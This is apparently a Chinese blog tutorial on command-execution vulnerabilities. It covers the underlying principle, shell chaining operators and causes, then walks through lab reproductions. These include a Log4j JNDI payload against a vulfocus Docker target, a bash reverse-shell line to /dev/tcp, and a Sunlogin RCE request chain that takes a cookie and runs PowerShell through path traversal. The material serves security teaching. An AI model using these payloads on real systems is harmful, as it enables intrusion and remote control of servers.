命令执行漏洞详细讲解

简介: 应用有时需要调用一些执行系统命令的函数,如PHP中的`system`、`exec`、`shell_exec`、`passthru`、`popen`、`proc_popen`等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

目录

一、原理

应用有时需要调用一些执行系统命令的函数,如PHP中的systemexecshell_execpassthrupopenproc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。


二、利用条件

1、应用调用执行系统命令的函数

2、将用户输入作为系统命令的参数拼接到了命令行中

3、没有对用户输入进行过滤或过滤不严

三、漏洞分类

1、远程命令执行漏洞

概念:

远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令

2、远程代码执行漏洞

概念:

代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码

四、认识命令连接符

1、window层面

&

无论左边是false还是true,右边都执行,按顺序执行

&&:

具有短路效果,左边是false,右边不执行

|

表示A命令语句的输出,作为B命令语句的输入执行。当A为false的时候将不会执行

||

A||B,表示A命令语句执行失败,然后才执行B命令语句。

2、linux层面

&

在后台运行

;:

分号(;) 可以进行多条命令的无关联执行,每一条执行结果不会影响其他命令的执行

&&

按照顺序执行,如果前面应该正确就会执行下一个,如果错误那么就不会执行下一个

||

如果 || 左边的命令执行失败(返回1表示失败),才执行||右边的命令,否则不执行右边的命令,具有短路功能。

()

如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用圆括号()把所有命令组合起

五、漏洞的产生原因

1、代码层过滤不严

商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system(“/bin/program --arg $arg”);

2、系统的漏洞造成命令注入

比如:bash破壳漏洞(CVE-2014-6271)

3、调用的第三方组件存在代码执行漏洞

如wordPress中用来处理图片的imageMagick组件

JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)

ThinkPHP命令执行

六、漏洞的危害

1、继承Web服务程序的权限去执行系统命令或读写文件

2、反弹shell

3、控制整个网站甚至服务器

4、进一步内网渗透

七、漏洞复现

1、log4j命令执行

1.1 开启docker服务

Service docker start


1.2 拖出并开启靶场

拖出的命令:

docker pull vulfocus/log4j2-rce-2021-12-09

启动的命令:

docker run -tid -p 3456:8080 vulfocus/log4j2-rce-2021-12-09


1.3 关闭防火墙并访问靶场

关闭防火墙:service firewalld stop

访问靶场:ip:3456


1.4 将poc插入目标url栏上并进行编码

poc:

${jndi:ldap://2lnhn2.ceye.io}

1…5:设置poc

bash -i >& /dev/tcp/ip/6666 0>&1


1.6 生成链接

Java -jar 文件名 -C “需要输出的信息” -A “ip”

将圈中的内容复制到目标url上已经构造好的函数中并进行编码



1.7 kali开启监听


此时成功获取了shell

2、向日葵命令执行

1. 向日葵的版本是<=11.0.0.33版本的,

2. 打开向日葵,需要连接服务器成功


3. 打开之后会自动开启一个40000-60000之间随机的端口,此时使用kali的nmap进行探测



此时扫出来49408、49409、49410、49411、49413、49414、49415、49492这八个端口

4、探测向日葵的端口

在浏览器中访问目标的ip:以上端口,访问向日葵的端口时,会报出以下页面


此时确定端口为49492

5、获取cookie值

poc:

目标IP:端口/cgi-bin/rpc?action=verify-haras


成功获取cookie

6、拿到CID-添加payload和cookie-发送http://ip/check?cmd=ping…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20whoami


实操成功

相关文章
|
网络协议 Python
python中socket模块的导入和使用基础
【4月更文挑战第3天】Python的`socket`模块是网络编程的基础,用于创建套接字、绑定地址和端口、监听连接及数据传输。首先,使用`import socket`导入模块。接着,通过`socket.socket()`创建套接字,指定地址族(如`AF_INET`)和类型(如`SOCK_STREAM`)。然后,使用`bind()`方法绑定地址和端口,`listen()`方法监听连接。服务器端通过`accept()`接受连接,`recv()`接收数据,`send()`发送响应。客户端则用`connect()`连接服务器,`send()`发送数据,`recv()`接收响应。
|
存储 算法 安全
【密码学】非对称加密算法 - ECDH
由于 ECC 密钥具有很短的长度,所以运算速度比较快。到目前为止,对于 ECC 进行逆操作还是很难的,数学上证明不可破解,ECC 算法的优势就是性能和安全性高。实际应用可以结合其他的公开密钥算法形成更快、更安全的公开密钥算法,比如结合 DH 密钥形成 ECDH 密钥协商算法,结合数字签名 DSA 算法组成 ECDSA 数字签名算法。ECDH算法常常用来进行密钥的协商,协商好密钥后,用来解决上面的密钥分配问题,将对称加密的密钥安全的传到对端设备。算法加密/解密数字签名密钥交换RSA✅✅✅❌。
4405 0
|
7月前
|
人工智能 Devops 虚拟化
VMware vSphere 8.0 Update 3d 下载 - 企业级工作负载平台
VMware vSphere 8.0 Update 3d 下载 - 企业级工作负载平台
409 17
|
11月前
|
存储 移动开发 API
如何实现浏览器内多个标签页之间的通信
在浏览器中,可通过三种方式实现多标签页通信:一是利用 `localStorage`,通过设置及监听数据变化实现信息传递;二是借助 `Broadcast Channel API`,在同一频道下双向传输消息;三是运用 `SharedWorker`,作为共享工件在各标签间架起沟通桥梁。每种方法依据实际需求选择使用。
|
网络协议 安全 物联网
|
存储 运维 安全
2023 年浙江省职业院校技能大赛信息安全管理与评估赛项规程
2023 年浙江省职业院校技能大赛信息安全管理与评估赛项规程
|
SQL 监控 安全
Linux&Windows 日志分析 陇剑杯 CTF
Linux&Windows 日志分析 陇剑杯 CTF
|
数据采集 安全 数据可视化
伙伴客户案例|阿里云&百胜软件助力曼秀雷敦,深度赋能电商业务数智化转型
前言 RPA全称机器人流程自动化(Robotic Process Automation),是一种新兴的“数字劳动力”,可以替代或辅助人完成规则明确的重复性劳动,大幅提升业务流程销量,实现企业业务流程的自动化和智能化,从而降本增效。目前,RPA解决方案的应用场景几乎涵盖了所有行业,包括银行、保险、制造、零售、医疗、物流、电子商务甚至政府和公共机构。
1846 3
伙伴客户案例|阿里云&百胜软件助力曼秀雷敦,深度赋能电商业务数智化转型
|
移动开发 缓存 JavaScript
Vue3.0入门 + Vant3.0移动端实践(三)使用Cordova打包Android App
Vue3.0入门 + Vant3.0移动端实践(三)使用Cordova打包Android App
|
云安全 存储 Kubernetes
国内首家通过赛可达容器安全测试!阿里云容器安全图谱详解
阿里云2011年开始推进容器化技术改造和落地,2020年完成了核心系统全面云原生化,基于自身大量实践经验,同年发布国内首个云原生容器安全ATT&CK攻防矩阵。目前,阿里云可以为客户提供覆盖容器生命周期安全的完整解决方案,助力企业在云原生时代实现业务的变革升级。
国内首家通过赛可达容器安全测试!阿里云容器安全图谱详解